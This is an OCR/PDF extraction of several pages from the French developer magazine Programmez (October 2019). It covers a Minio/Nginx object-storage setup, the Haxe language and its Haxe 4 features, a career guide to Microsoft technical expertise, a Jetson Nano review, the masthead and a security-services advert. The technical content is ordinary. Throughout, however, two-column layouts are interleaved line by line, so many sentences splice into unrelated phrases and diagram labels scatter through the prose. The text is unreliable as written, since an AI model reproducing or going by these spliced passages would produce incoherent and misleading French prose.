Stockage Objet en haute disponibilité d’utiliser un stockage qui dispose de SLA (Service Level Agrement),
Nous réalisons un déploiement d’instances Minio avec un serveur et plus généralement qui donne des garanties à minima sur la du-
Nginx. L’association d’un serveur Web comme Nginx avec des ins- rabilité de la donnée.
tances Minio va nous permettre de rajouter un certain nombre de Dans ce cas d’utilisation, nous utilisons le serveur Minio pour gérer
fonctionnalités que nous souhaitons dissocier de notre stockage les parties synchronisation et interface Web. Pour la partie stocka-
Objet. Effectivement, avec un serveur Nginx en amont des ins- ge, nous nous basons sur le stockage objet OSU proposé par le
tances Minio, nous pourrons réaliser des opérations de mise en Service Cloud Provider 3DS OUTSCALE.
cache, du filtrage de trafic en fonction de plusieurs paramètres. Pour réaliser une sauvegarde efficacement, nous conseillons de
Dans notre cas d’utilisation, nous positionnons Nginx comme reverse réaliser des sauvegardes incrémentales. Avec la fonctionnalité mir-
Proxy. Cela va nous permettre de nous affranchir de la mise à jour ror de Minio, nous pouvons réaliser une sauvegarde incrémentale
des clients car les accès aux instances Minio ne se feront qu’au tra- très facilement. Nous parlons de sauvegarde incrémentale pour dé-
vers du serveur Nginx. Ce dernier pourra également équilibrer le signer les opérations qui ne concernent que les données qui ont été
trafic entrant et le répartir uniformément sur les instances distri- modifiées depuis la dernière sauvegarde.
buées du serveur Minio. Voici le schéma d’une infrastructure en Après configuration de la Gateway et d’un Bucket dédié à votre
Haute Disponibilité (HA) d’un service de stockage Objet basé sur le sauvegarde sur le stockage objet 3DS OUTSCALE, vous pouvez
Serveur Minio. � lancer la commande suivante qui copiera la totalité des données
Pour organiser la répartition de charge entre les instances Minio, nous lors du premier lancement. Pour les prochaines exécutions de la
pouvons configurer notre Serveur Nginx avec les directives suivantes commande, la sauvegarde portera uniquement sur la copie des
données qui ont été rajoutées depuis la dernière sauvegarde.
upstream minio_servers {
$> mc mirror /home/martin/ minio/backupusermartin/
server minio-server-1:9000;
server minio-server-2:9000; Pour configurer le serveur Minio mapper sur la Gateway 3DS
} OUTSCALE, nous utilisons les paramètres suivants pour lancer le
server { serveur Minio.
listen 80;
$> export MINIO_ACCESS_KEY=XXXXXXX
server_name www.monserveur.com;
$> export MINIO_SECRET_KEY=XXXX
location / {
$> sudo -E minio gateway --address ':443' s3 https://osu.eu-west-2.outscale.com
proxy_set_header Host $http_host;

programmez.com// 75
JEUX
David MOUTON
Architecte Applicatif chez

Haxe
Onepoint

L’isomorphisme cross-plateforme Partie 1


Le monde du développement connaît depuis quelques années une profonde mutation qui ne semble pas vouloir se terminer.
Nous avons pu assister à la mort de certaines technologies, précipitée par leurs éditeurs, comme Adobe avec Flash, Google
avec AngularJS, ou encore Apple avec Objective C. D’un autre côté, certains écosystèmes en ébullition, voient naître et mou-
rir des frameworks à une vitesse toujours plus grande.

C
ela fait également bien longtemps que les développements
niveau ne sont plus cantonnés au monde du desktop sous
Classes,
Packages, Inlined calls
Pattern
Matching Enum

100 Windows. Le web a révolutionné notre façon de travailler il y


a une vingtaine d’année, et plus récemment c’est le mobile et ses
nouveaux usages qui phagocytent nos ressources. Demain l’IoT...
Inherance
Abstract
Types
Conditional
Compilation
Generics Function Type

Avec Azure Functions, AWS Lambda, l’arrivée du cloud a aussi


Anonymous Metadata Lambda Typedef
beaucoup changé les développements côté serveur. C’est dans ce
structures
contexte que Haxe tire son épingle du jeu.
Arrow Inline Type
Historique Function Markup Macros Parameters,
MotionTwin est un studio de développement de jeux vidéo indépen- Constraints
dant. En 2004 Flash est alors la technologie incontournable pour and Variance
les jeux web. Pour leurs besoins, ils vont créer MTASC, un compila- Les macros sont l’une des fonctionnalités les plus puissantes car
teur Flash beaucoup plus rapide que celui d’Adobe qui génère un elles permettent de « programmer » le comportement du compila-
bytecode plus performant. teur. L’exemple suivant montre comment récupérer le numéro du
Et ce n’est qu’un début. commit au moment de la compilation pour l’injecter dans son
Le 16 mai 2006, est publiée en Open Source la première version application.
de Haxe avec l’idée d’aller encore plus loin que MTASC.
class Version {
Haxe apporte alors un nouveau langage, moderne, multi-paradig-
public static macro function getGitCommitHash():haxe.macro.Expr.ExprOf<String> {
me, capable de tenir la comparaison avec Java ou C#.
var process = new sys.io.Process('git', ['rev-parse', 'HEAD']);
Il est dynamique comme Javascript, typé comme Java, mais aussi
// read the output of the process
fonctionnel comme Scala.
var commitHash:String = process.stdout.readLine();
Son compilateur est dès le début pensé pour supporter plusieurs
// Generates a string expression
technologies. Il ne se limite plus seulement à Flash puisqu’il gère
return macro $v{commitHash};
déjà le Javascript et le PHP.
}
Cette ouverture aux autres langages n’est cependant pas synonyme
}
de concession, les développeurs œuvrent à fournir un compilateur
toujours aussi rapide et un code généré le plus performant possible. Ensuite pour l’utiliser il est possible de l’utiliser au runtime comme
Tous les jeux de MotionTwin vont alors être développés en Haxe, n’importe quelle fonction statique :
coté front et back.
trace(Version.getGitCommitHash());
Aujourd’hui il est aussi utilisé par de grands groupes comme Coca-
Cola, Mattel, Disney, Toyota, etc. Lorsqu’on sait que la version 7.4 de PHP apporte le typage des proprié-
tés de classes, et que ES2020 introduit les champs privés, on comprend
Le Langage facilement ce que peut apporter un langage aussi riche que Haxe.
Sa syntaxe paraîtra familière à de nombreux développeurs car elle
ressemble beaucoup à Java, C#, TypeScript, et Javascript. Les améliorations syntaxiques de Haxe 4
• Arrow Function
class Main {
Aussi appelées Short Lambdas, les arrow functions sont enfin sup-
static public function main():Void {
portées. Bien que cette syntaxe soit déjà implémentée dans de
trace("Hello World");
nombreux langages comme Javascript ES6 ou Java, son arrivée dans
}
Haxe 4 la rend disponible pour toutes les plateformes comme PHP.
}

Voici une petite liste des fonctionnalités offertes par le langage : (a, b) -> a + b

76 //programmez.com
JEUX
• Final keyword • Key-value iterators
Il est maintenant possible de déclarer des propriétés en “final” pour La boucle for s'enrichit d’une itération basée sur la paire clef + valeur.
les rendre immuables et en faire des constantes.
for (key => value in collection) {}
final a = 5
• Inline Markup
Ce mot clef est aussi utilisable sur des classes et des interfaces afin L’engouement autour de JSX n’est sûrement pas étranger à l’arri-
d'empêcher l’héritage. vée du support de cette syntaxe dans Haxe 4.

final class Foo {} var a = <hi/>;


final interface Bar {}
Le compilateur
Enfin, on peut aussi préfixer la déclaration d’une méthode par Aujourd’hui le compilateur est capable de transpiler vers ActionS-
“final” pour interdire sa surcharge. cript 3, Javascript ES5 et ES6, PHP 7, Java, C#, Python, C++, et
Lua. Il est aussi capable de produire du byte code pour NekoVM,
final public function foo() { }
Hashlink, Flash, et la JVM. �
• Null-safety Il est en plus très rapide. Pour un même code, il se montre 5x plus
Par défaut Haxe considère que les variables sont nullables, ce qui rapide que le compilateur de TypeScript, 10x plus rapide que javac,
oblige le développeur à prendre en compte des cas non désirés. 15x Emscripten, et 50x plus rapide que le compilateur de Dart!
Maintenant, le metadata @:nullSafety peut être utilisé sur un champ Différentes optimisations viennent encore renforcer cette vélocité,
ou une classe pour interdire la nullité de celui-ci ou de toutes les comme l’utilisation d’un cache ou d’un serveur de compilation.
propriétés de la classe. La performance du code généré est aussi un domaine dans lequel
Haxe brille particulièrement. Le test ci-dessous montre la perfor-
@:nullSafety
mance d’un codec vidéo C++, porté en Typescript, Haxe, et Dart.
class Main {
Il indique le temps de décompression de 200 frames (en secondes)
static var a:Array<Int>;

A noter, qu’on peut aussi passer par une macro pour rendre tout ou
une partie de son code non nullable.

--macro nullSafety('package.to.null.check')

� TypeScript 3.1.6 Haxe 4.0.0.preview5


Dart 2.1 Wasm 1.0 with emsdk 1.38.4

Sans surprise c’est la version compilée en WASM qui se montre la


plus rapide mais Haxe s’en sort très bien et se montre au même
niveau dans V8. Vous trouverez tous les détails sur :
https://github.com/damoebius/HaxeBench

Dans le n°235, focus sur Haxe 4

RETROUVEZ LES SOURCES


DES ARTICLES SUR
www.programmez.com
ET NOTRE GITHUB :
https://github.com/francoistonic

programmez.com// 77
CARRIÈRE
Christophe PICHAUD
Architecte Microsoft chez .Net Azure Rangers
[email protected] | www.windowscpp.com

Comment devenir un expert Microsoft ?


Dans le monde du développement logiciel, il y a deux orientations de carrières. La technique et le management. La branche
technique nous propose de commencer développeur puis de monter en gamme vers un poste d’Architecte technique, de solu-
tions ou urbaniste. La branche de management propose les postes de chef de projet pour aller jusqu’au Directeur de projet et
de management général. Ça c’est la description simple mais la vraie vie est plus compliquée. Depuis l’arrivée du DevOps et
des nouvelles technologies, l’époque ou un collaborateur de SSII disait je vais faire deux ans de développement puis après je
veux être chef de projet, pour gagner plus ne tient plus. Les entreprises recherchent de plus en plus des Experts techniques.

Le développement selon Web API REST qui gèrent le JSON.


Note de la rédaction Microsoft Apprenez la technologie d’accès aux don-
Christophe nous explique la partie expertise Microsoft. Ce mo- Microsoft envoie des messages parfois nées Entity Framework. Vous trouverez un
dèle se retrouve, sous une forme différente et plus ou moins complexes sur le développement. Voici les job facilement car les applications web sont
avec les mêmes éléments, sur d’autres plateformes (Oracle, fondamentaux : courantes chez les Gold Partners.
Google, AWS, Red Hat, etc.). Les communautés y jouent un rôle • La technologie est le Microsoft .NET
important, tout comme les certifications. Framework ; Vous avez de l’expérience
• L’environnement de développement est Il vous faut maîtriser les diverses compo-
Définition de l’Expertise Visual Studio ; santes de la stack Microsoft :
Un Expert est quelqu’un qui maîtrise un do- • Le langage phare est C# ; • Le mobile avec Xamarin.Forms ;
maine particulier. Exemple, je suis DBA • Le développement mobile se fait avec • Le Desktop avec WinForms et WPF ;
SQL Server. Mon activité va de l’installa- Xamarin ; • Le serveur avec ASP.Net MVC et Web API ;
tion, des sauvegardes, de l’optimisation • Les API pour le développement Desktop • Le socle ADO.NET, Dapper, Entity Framework ;
jusqu’au suivi de production des différentes sont WinForms et WPF ; • La base de données SQL Server avec les
bases. Confiez-moi votre infrastructure de • Les API pour l’accès aux données sont objets serveurs (procédures stcokées).
bases de données, je m’en occupe ! ADO.NET et Entity Framework ;
• La technologie Web est ASP.NET MVC et Vous pensez être au
L’écosystème Microsoft ASP.NET Web API ; niveau ?
Dans le monde Microsoft, les sociétés dites • Microsoft décline .NET en .NET Core et A ce stade, il vous faut maîtriser les domaines
Gold Partner possèdent différentes compé- ASP.NET Core pour Windows, Linux et suivants : Docker, Kubernetes, Azure.
tences et attirent différents talents dans les macOS ;
domaines suivants : cloud, mobile, dévelop- • Le futur du développement est le Cloud L’acquisition
pement, AI, collaboration, etc. Dans ce type Azure et l’intégration des services mana- des compétences
de sociétés, on cultive l’expertise technolo- gés dans les applications. Le principal problème est le temps qu’il faut
gique. Vous serez formé, vous pratiquerez et pour maîtriser une technologie. C’est un sa-
vous passerez des certifications pour mettre Vous terminez vos études vant mélange de formation, lecture,
en valeur vos compétences. ou vous êtes Junior pratique et de production. Pendant que
Jetez-vous corps et âme dans le développe- vous vous formez sur une technologie, il y
Quel est l’intérêt d’être un ment logiciel. Connaissez les bases du en a 10 qui montent de version. Comment
expert Microsoft ? langage C# et la programmation orientée faire ? Il faut lire des livres. C’est la seule
Vous travaillerez dans un confort « technolo- objet. Il vous faut maîtriser la programma- solution. Votre employeur ne peut pas vous
gique ». Puisque vous maîtrisez la technologie, tion évènementielle comme WinForms ou envoyer en formation 30 jours dans l’an-
vous enchaînez les projets et missions ; vous WPF. Il faut aussi maîtriser les fondamen- née. Par contre, il est capable de vous
montez en compétences sur les nouvelles ver- taux de la base de données style comment rembourser des ouvrages techniques. Ma
sions et vous restez en veille technologique créer un modèle avec des tables, clés, etc. méthode personnelle consiste à prendre
en permanence. Avec le temps, l’expert pra- une technologie et à la couvrir entièrement.
tique plusieurs technologies ou plusieurs Faites votre marché Cela prend du temps mais une fois arrivé
produits et devient un membre incontour- par la suite au bout, je suis tranquille pour 2 ou 3 ans
nable. Dans les échanges d’Architecture ou Choisissez la technologie ASP.NET MVC et avant la mise à jour. Il va de soi qu’il faut
de migration, l’Expert technique est toujours apprenez à construire des applications web pratiquer. Vous allez me dire oui mais com-
associé aux discussions. standard. Évoluez en construisant aussi des ment est-ce que je fais pour avoir un projet

78 //programmez.com
CARRIÈRE

qui fournit tout ou partie des technologies Si vous recherchez une aide MSDN dite
Microsoft ? J’ai la solution… « legacy », Microsoft met à disposition sur
son site de download, le MSDN Library for
Mise à niveau Visual Studio 2008 SP1. On y trouve le
Pour partir sur de bonnes bases, lisez le Windows SDK traditionnel avec les API
« Guide .NET d’Architecture Windows v2 » Win32, le .NET Framework, SQL Server,
de Microsoft : des whitepapers. Cela pèse 2,2 GB et cela
http://windowscpp.com/Books/AppArchGuideV2.pdf peut être utile. Lien de download :
� https://www.microsoft.com/en-us/download/details.aspx?id=20955
Ce guide va vous expliquer comment faire
des applications découpées en couches. Expert Technique ou
Ceci est la base du développement. Il faut Architecte ?
absolument maîtriser cette étape en préam- Il y a deux types d’architectes : ceux qui co-
bule. Même si vous commencez, il vous dent et les autres. Un architecte qui ne
faut un vernis d’architecture. Vous l’obtien- code pas ne colle plus à la réalité. Il a be-
drez dans cet ouvrage technique gratuit. soin des autres, il reste au stade du
PowerPoint et des belles paroles. Un Expert
Les samples Microsoft technique, lui, colle à la réalité, il sait ce qui
Depuis 25 ans, Microsoft, au travers de fonctionne et ce qui fonctionne moins bien.
MSDN, Microsoft Developer Network, publie Il va au-delà du discours marketing de l’édi-
des samples de code type. De nos jours, teur et sait lire entre les lignes. Architecte

l’heure est aux microservices, aux architec- est un métier spécial. Expert technique,
tures Docker ou Kubernetes avec des API c’est l’assurance de participer sur un projet
Web et des applications mobiles ou Web. La en entier et pas seulement au démarrage.
solution se nomme eShopOnContainers.
Ce sample existe en deux versions : Docker Les certifications et le
et Kubernetes. Il met en oeuvre une applica- salaire
tion Mobile, une application Web, une app Un expert technique est certifié. C’est obliga-
PWA, des Web API et des microservices. toire. Cela passe par des phases d’examen à
Il est clair que si vous savez réaliser ce intervalles réguliers. Ne brulez pas les étapes,
genre d’application, vous êtes un Expert si vous passez des examens MCP via les exa-

Microsoft mais la marche est haute à fran- mens blancs, vous bachotez, vous ne validez « petit jeune ». Un Expert technique maîtri-
chir. Il faut y aller avec étapes. Ce sample pas une expérience… Qui dit Expertise et cer- se les technologies et donc son temps.
est fourni avec 3 ouvrages techniques tifications dit valorisation salariale. En effet, C’est important. Faites-vous avoir une ou
Microsoft Press gratuits : les compétences techniques se monnayent. deux fois et vous serez plus vigilant.
https://aka.ms/microservicesebook Faites jouer la concurrence. Il est facile d’ob-
https://aka.ms/dockerlifecycleebook tenir 10% à 20% de plus entre un certifié et un Travaillez en Freelance
https://aka.ms/xamarinpatternsebook � non certifié. Si vous ne savez pas par où com- L’Expert technique est bon candidat à
Cela va vous prendre du temps, mais inves- mencer, passez la 70-483 « Programming l’exercice d’une activité en freelance. Il
tir sur ce sample est un investissement qui C# » et ensuite choisissez votre cursus : choisit ses missions, ses clients, ses techno-
vaut le détour. Tous les trucs et astuces y Mobile, Web ou Desktop ou Cloud. Je crois logies. Pensez-y, il n’y a pas que le mode
sont décrits et vous épargneront des heures que Desktop est déprécié, à vérifier… salarié. L’avantage du freelance est qu’il est
de recherche sur le web. Oui c’est impor- plus autonome et plus libre qu’un salarié.
tant mais c’est le prix à payer. L’Etat d’esprit de l’Expert Toutefois, il doit aussi faire le rôle de com-
En tant qu’Expert technique, on se remet mercial pour se trouver des missions.
Ressources en cause régulièrement. On se remet à ni- Certains y trouvent leur intérêt.
La bible pour apprendre le .NET veau, on acquiert de nouvelles
Framework, le CLR, le JIT, le GC, c’est compétences. En revanche, il est une règle Conclusion
« CLR via C# ». Cet ouvrage explique le d’or : on ne se s’improvise pas. On ne fait Être un Expert Microsoft demande de l’in-
fonctionnement système du CLR et tous les pas des claquettes. Une fois que vous men- vestissement en temps, en années. Cela
fondamentaux. C’est du système et c’est tez sur vos capacités, vous êtes grillé. Ne peut être une trajectoire de carrière profes-
important de comprendre cela. Pour maîtri- l’oubliez pas. Si vous devez faire face à sionnelle. Ce n’est pas qu’un développeur,
ser le langage, O’Reilly propose « C# 7 in a quelque chose que vous ne connaissez pas, ce n’est pas un consultant généraliste, c’est
Nutshell » et APress propose « Pro C#7 ». protégez-vous, ne produisez pas, formez- un expert qui apporte une vraie valeur ajou-
Si vous installez Visual Studio, téléchargez vous et mettez-y les formes. Un Expert tée à ses clients par sa maîtrise des
l’aide en ligne. technique ne se fait pas balader comme un technologies et des produits. •

programmez.com// 79
MATÉRIEL
Maxime Ellerbach
lycéen
[email protected]

Jetson Nano, une carte embarquée niveau


idéale pour faire du deep learning ? 100
Le Jetson Nano est une carte développée par Nvidia. Sa grande particularité est qu’elle embarque un GPU avec
des cœurs Cuda ! Ses cœurs lui donnent un avantage considérable par rapport aux cartes concurrentes pour ce
qui est machine et deep learning.

Je vais d’abord énumérer les différents atouts du hardware du GPU


Jetson Nano, puis on passera à la partie software. On constatera le Le GPU embarque 128 cœurs Cuda d’architecture Maxwell (série
réel gain en puissance de calcul d’un GPU. gtx 9xx) cadencés à 921MHz, ce qui représente une puissance de
calcul de 0,5 Téraflop environ. A titre de comparaison, la gtx 980,
Hardware carte graphique haut de gamme pour pc fixe possédant le même
Les réseaux de neurones demandent d’effectuer un nombre impor- type de cœur Cuda possédait 4,6 Téraflops. Note : Le GPU qu’uti-
tant de calculs pour fonctionner. Ces calculs peuvent être effectués lise le Jetson Nano est le même que celui de la Nintendo Switch.
de manière parallèle, ainsi, l’architecture d’un GPU est bien plus
avantageuse que celle d’un CPU. CPU
Coté CPU, on tourne autour des performances du nouveau
Raspberry Pi 4b. Le Jetson Nano possède 4 cœurs ARM A57
(aarch64) cadencés à 1,43 GHz tandis que le Pi possède 4 cœurs
ARM A72 cadencés à 1,5 GHz. Sur le papier il semblerait que le Pi
soit bien devant le Jetson Nano en possédant un CPU plus récent
avec une meilleure cadence, cependant ce dernier possède une
meilleure dissipation thermique et profite donc de meilleures ca-
dences à certains moments, notamment lors d’une canicule ;-).

Ports et connectiques
Le Jetson Nano est très bien servi en connectique, Il embarque 4
ports USB 3.0, un port Ethernet, un port micro USB pour l’alimen-
tation et le transfert de données, ainsi qu’un port barrel jack pour
délivrer encore plus d’énergie à la carte.
Côté affichage, on a un DisplayPort 1.2 et un Hdmi 2.0 pouvant
être utilisés de manière simultanée.
Et pour finir, 40 pins GPIO dans la même configuration que les
Raspberry Pi.

Installation de package
et modules Python
Je vais directement passer à la partie software sans expliquer l’ins-
tallation de l’image sur la carte SD, si vous voulez en savoir plus sur
l’installation de l’image et le premier boot, Nvidia propose un très
bon tutoriel : https://developer.nvidia.com/embedded/learn/get-started-jetson-
nano-devkit.
La carte possède une architecture « aarch64 » qui est donc diffé-
rente de celle des Raspberry Pi (« ARMv8 »), il faut donc s’attendre
à beaucoup d’incompatibilités.
J’ai rencontré des problèmes avec « XRDP », un package qui per-
met de se connecter à distance à la machine, le package était
installé mais dès lors que je veux me connecter il plante. Même

80 //programmez.com
MATÉRIEL

problème avec « VNC ». L’image suivante s’affiche puis le RDP s’ar-


rête. Ne voulant pas m’attarder sur ce problème, j’utilise le
terminal avec le SSH. Du côté de l’installation de Python, aucun

problème comme d’habitude.
Pour tester les performances en deeplearning en Python, je vais uti-
liser Tensorflow. Ordinairement, c’est un calvaire pour installer la
version « GPU » de Tensorflow, cependant sur le Jetson Nano, c’est
bizarrement la chose la plus simple ! Une simple commande per-
met d’installer le module :

“sudo pip3 install --pre --extra-index-url https://developer.download.nvidia.com/compute


/redist/jp/v42 tensorflow-gpu”

Pour manipuler des images, vidéo et caméra en Python, j’aime


OpenCV. Installer OpenCV est généralement un bon test parce que
la plupart du temps il faut le compiler à la main ! Mais Nvidia a tout
prévu, OpenCV est directement installé et optimisé pour CUDA, di-
rectement dans l’image d’installation de l’OS, un vrai gain de
temps ! Après avoir installé deux ou trois modules en utilisant
« pip » on est prêt pour faire des tests ! �

Test des performances Les plus


Participant à des courses de mini voitures autonomes, j’ai pu tester
la board en utilisant des données réelles de ma voiture, voici • GPU puissant
quelques données : � • Bonne image d’installation pour l’OS
Nous ne regarderons pas les résultats des prédictions, mais seule- • Connectique bien fournie avec
ment le temps moyen de prédiction d’une image comparé à celui du beaucoup de port USB et différentes
Raspberry Pi 3b+ que j’utilise actuellement lors des courses. � options d’alimentation
A noter que ces tests ont été fait en alimentant le Jetson Nano avec • Possède un port pour ventilateur
10W par micro USB, le maximum étant 20W avec le barrel Jack. • Bonne dissipation thermique (dissipateur
fourni avec la Board)
Conclusion
Pour de l’embarqué, cette carte est de loin la meilleure en termes Les moins
de performance pour son prix. Elle possède un bon hardware avec • CPU moins puissant que celui du
une bonne efficacité thermique et une connectique certes classique Raspberry Pi 4
mais bien fournie. D’un point de vue software, c’est un peu plus • Quelques incompatibilités software
compliqué de tirer une conclusion, même si Nvidia fait des efforts • Ajout d’un « hat » compliqué (le
afin que les packages soient compatibles, il n’est pas garanti que dissipateur thermique bloque le haut de
tous marchent parfaitement. Outre ces quelques packages, la pré- la board)
installation d’OpenCV et l’installation de tensorflow-gpu par « pip » • Pas de Bluetooth ou Wifi intégré
est très appréciée !
Si vous êtes un amateur de deeplearning et que vous cherchez un
bon board pour faire de l’embarqué pour une somme raisonnable
(110 €), je vous recommande fortement le Jetson Nano !

programmez.com// 81
en attendant le fix

Une publication Nefer-IT, 57 rue de Gisors, 95300 Pontoise - [email protected]


Tél. : 09 86 73 61 08 - Directeur de la publication & Rédacteur en chef : François Tonic Abonnement :
Secrétaire de rédaction : Olivier Pavie Service Abonnements PROGRAMMEZ, 4 Rue de Mouchy, 60438 Noailles
Ont collaboré à ce numéro : la rédaction de ZDNet Cedex. - Tél. : 01 55 56 70 55 - abonnements.programmez @groupe-gli.com
Nos experts techniques : M. Ellerbach, D. Mouton, I. Hazout, D. Duplan, R. Pinon, M. Slimani, S. Saurel,
G. Saint Romas, C. Derue, P-Y Aillet, J-F Baillette, J. Thémée, R. Lifchitz, F. Dumur, C. Villeneuve, C. Pichaud.
Fax : 01 55 56 70 91 - du lundi au jeudi de 9h30 à 12h30 et de 13h30 à
Couverture : D-Keine - Maquette : Pierre Sandré. 17h00, le vendredi de 9h00 à 12h00 et de 14h00 à 16h30.
Publicité : François Tonic / Nefer-IT - Tél. : 09 86 73 61 08 - [email protected].
Imprimeur : Moderna Printing, Paal-Beringen, Belgique. Tarifs
Marketing et promotion des ventes : Agence BOCONSEIL - Analyse Media Etude - Directeur : Otto BORSCHA [email protected] Abonnement (magazine seul) : 1 an - 11 numéros France métropolitaine :
Responsable titre : Terry MATTARD Téléphone : 09 67 32 09 34 49 e - Etudiant : 39 e CEE et Suisse : 55,82 e - Algérie, Maroc,
Contacts : Rédacteur en chef : [email protected] - Rédaction : [email protected] - Webmaster : Tunisie : 59,89 e Canada : 68,36 e - Tom : 83,65 e - Dom : 66,82 e
[email protected]
Evenements / agenda : [email protected]
- Autres pays : nous consulter.
Dépôt légal : à parution - Commission paritaire : 1220K78366 - ISSN : 1627-0908 - © NEFER-IT / Programmez, octobre 2019 PDF
Toute reproduction intégrale ou partielle est interdite sans accord des auteurs et du directeur de la publication.
35 e (monde entier) souscription sur www.programmez.com
.
Solutions pour l c,der sécurité

Sécurité des développements : Fortify


Protection des données : Voltage
Evènements de sécurité : ArcSight

Trouvez vos 0-days : bestorm


Scan de vulnérabilités : besecure

I onseilv ser icesv aé eloppement

- Audits de code, test d’intrusion,


- Conseil, analyse de risque, PSSI,
- R&D, développement de solutions. …

borm tions et recrutement en SSy

www.g-echo.fr
[email protected]
Toulouse - Paris

Vous aimerez peut-être aussi